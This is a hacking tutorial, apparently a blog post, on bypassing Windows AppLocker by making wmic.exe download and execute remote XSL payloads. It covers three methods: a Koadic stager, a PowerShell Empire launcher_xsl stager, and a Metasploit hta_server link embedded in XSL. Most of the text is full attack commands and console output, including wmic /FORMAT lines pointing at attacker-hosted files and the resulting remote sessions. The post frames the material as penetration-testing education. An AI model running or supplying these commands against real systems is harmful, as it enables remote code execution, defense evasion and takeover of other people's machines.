Windows Exploitation: wmic



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The purpose of this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reasons, the system admin adds group policies to restrict application execution for local users. In our previous article, we had discussed on "Windows Applocker Policy – A Beginner's Guide" as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies using wmic.exe.

Table of Content

Introduction to Wmic.exe

Exploiting Techniques

- Koadic
- Powershell Empire
- Link hta within XSL code

Wmic.exe

The WMIC utility is a Microsoft tool that provides a WMI command-line interface that is used for a variety of administrative functions for local and remote machines and also for wmic queries, such as system settings, stop processes and run scripts locally or remotely. Therefore, it can invoke the XSL script (eXtensible Stylesheet Language).

Exploiting Techniques

Koadic

We will generate a malicious XSL file with the help of koadic which is a Command & Control tool that is quite similar to the Metasploit and Powershell Empire.

To know how koadic works, read our article from here: https://www.hackingarticles.in/koadic-com-command-control-framework/

Once installation gets completed, you can run ./koadic file to start koadic and start with loading the stager/js/wmic stager by running the following command and set SRVHOST where the stager should call home.

```
use stager/js/wmic
set SRVHOST 192.168.1.107
run
```

```
(koadic: sta/js/mshta)# use stager/js/wmic (koadic: sta/js/wmic)# set SRVHOST 192.168.1.107 (page 192.168 (pa
```

Execute WMIC following command to download and run the malicious XSL file from a remote server:

wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"

```
C:\Users\raj>wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl" os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"DESKTOP-NQM64ASroot\cimv2root\cliIMPERSONA
TEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON\Device\HarddiskVolume217134Multiprocessor
FreeMicrosoft Windows 10 Enterprise12521Win32_OperatingSystemWin32_ComputerSystemDESKTOP-NQM64AS
330TRUETRUETRUE2FALSEFALSE256278819641043220890397220180907201617.000000+33020190111205126.51124
9+33020190115183253.665000+3300409Microsoft Corporation4294967295137438953344en-USMicrosoft Wind
ows 10 Enterprise|C:\WINDOWS|\Device\Harddisk1\Partition11852464-bit103325618FALSETRUE1raj00329-
00000-00003-AA3230010485760K272\Device\HarddiskVolume2C:\WINDOWS\system32C:176862281663765210.0.
17134C:\WINDOWS
```

Once the malicious XSL file will get executed on the target machine, you will have a Zombie connection just like Metasploit.

```
Zombie 0: Staging new connection (192.168.1.105)
  Zombie 0: DESKTOP-NQM64AS\raj @ DESKTOP-NQM64AS -- Windows 10 Enterprise
koadic: sta/js/wmic)# zombies 0 📥
       ID:
                                Alive
       Status:
       First Seen:
Last Seen:
                                 2019-01-15 08:02:56
                                 2019-01-15 08:03:11
       Listener:
                                 192.168.1.105
                                DESKTOP-NQM64AS\raj
DESKTOP-NQM64AS
       User:
       Hostname:
                                Unknown
       Primary DC:
                                Windows 10 Enterprise
                                 17134
       OSBuild:
       OSArch:
                                64
                                Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64;
       User Agent:
                                 6567aff324294515a89f4c0da3db39b1
       Session Key:
                                                          ERRNO
       JOB NAME
                                               STATUS
```

PowerShell Empire

For our next method of wmic Attack, we will use empire. Empire is a post-exploitation framework. Till now we have paired our xsl tacks with Metasploit but in this method, we will use empire framework. It's solely a python-based PowerShell windows agent which make it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch gui, and @xorrior. You can download this framework from Here

To have a basic guide of Empire, please visit our article introducing empire:

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

Once the empire framework is started, type **listener** to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type:

listeners uselistner http set Host http://192.168.1.107 execute

With the above commands, you will have an active listener. **Type back** to go out of listener so that you can initiate your PowerShell.

For our wmic attack, we will use a stager. A stager, in the empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:

usestager windows/launcher_xsl
set Listener http
execute

Usestager will create a malicious code file that will be saved in the /tmp named launcher.xsl.

```
Mod: HackPlayers
       294 modules currently loaded
       0 listeners currently active
       0 agents currently active
(Empire) > listeners
 !] No listeners currently active
Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://192.168.1.107 (Empire: listeners/http) > execute (= [*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
  Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!
(Empire: listeners/http) > back
(Empire: listeners) > usestager windows/launcher xsl
Empire: stager/windows/launcher_xsl) > set Listener http
(Empire: stager/windows/launcher_xsl) > execute 👍
[+] wmic process get brief /format:"http://10.10.10.10/launcher.xsl"
[*] Stager output written out to: /tmp/launcher.xsl
(Empire: stager/windows/launcher_xsl) >
```

We have use python HTTP server to transfer this file inside victim's machine

```
root@kali:~/Empire-mod-Hackplayers# cd /tmp
root@kali:/tmp# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
```

And once the file runs, we will have the result on our listener. Run the file in your victim's machine by typing the following command:

```
wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl"
```

```
C:\Users\raj>wmic process get brief /format:"http://192.168.1.107:8080/launcher.xsl"
```

To see if we have any session open type 'agents'. Doing so will show you the name of the session you have. To access that session type:

interact Z639YHPA sysinfo

```
(Empire) > agents 👍
[*] Active agents:
  Name
                             Internal IP
                                                  Machine Name
                                                                      Username
                                                                                               Process
                      Lang
                              192.168.10.1 fe8DESKTOP-NQM64AS DESKTOP-NQM64AS\raj powershell/8880
   Z639YHPA
 Empire: agents) > interact Z639YHPA 🗢
(Empire: Z639YHPA) > sysinfo�
(Empire: Z639YHPA) > sysinfo: 0|http://192.168.1.107:80|DESKTOP-NQM64AS|raj|DESKTOP-NQM64AS|19:
:b842|Microsoft Windows 10 Enterprise|False|powershell|8880|powershell|5
                      http://192.168.1.107:80
Listener:
                   192.168.10.1 fe80::90d0:4c4b:d967:4626 192.168.232.1 fe80::e826:8249:4ee0:lee 
DESKTOP-NQM64AS\raj
Internal IP:
Username:
Hostname:
                      Microsoft Windows 10 Enterprise
High Integrity:
                      powershell
8880
Process Name:
 rocess ID:
anguage:
                      powershell
anguage Version: 5
```

Link hta within XSL code

As we know, wmic can execute any file or script remotely, so we will link an hta file within the XSL code. An XSL file will contain a link, to download and execute a malicious hta file via mshta.exe, which is officially triggered by wmic.

Therefore, let's generate an hta file with the help of Metasploit:

```
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
```

Now copy the URL and place it inside the XSL code, because they have the ability to execute the language script of Microsoft.

```
msf > use exploit/windows/misc/hta_server  
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
srvhost => 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.109:4444
[*] Using URL: http://192.168.1.109:8080/krVH00AYf.hta
[*] Server started.
```

Then, we have created a "payload.xsl "file, you can take help from this <u>link</u> for writing XSL code and then place the link of hta file as shown below.

Now again we need to execute XSL file through wmic.exe with the help of the following command:

wmic os get /FORMAT: "http://192.168.1.109/payload.xsl"

```
C:\Users\raj>wmic os get /FORMAT:"http://192.168.1.109/payload.xsl"
```

Once the above command is executed you will have a session open. To access the session, type:

sessions 1

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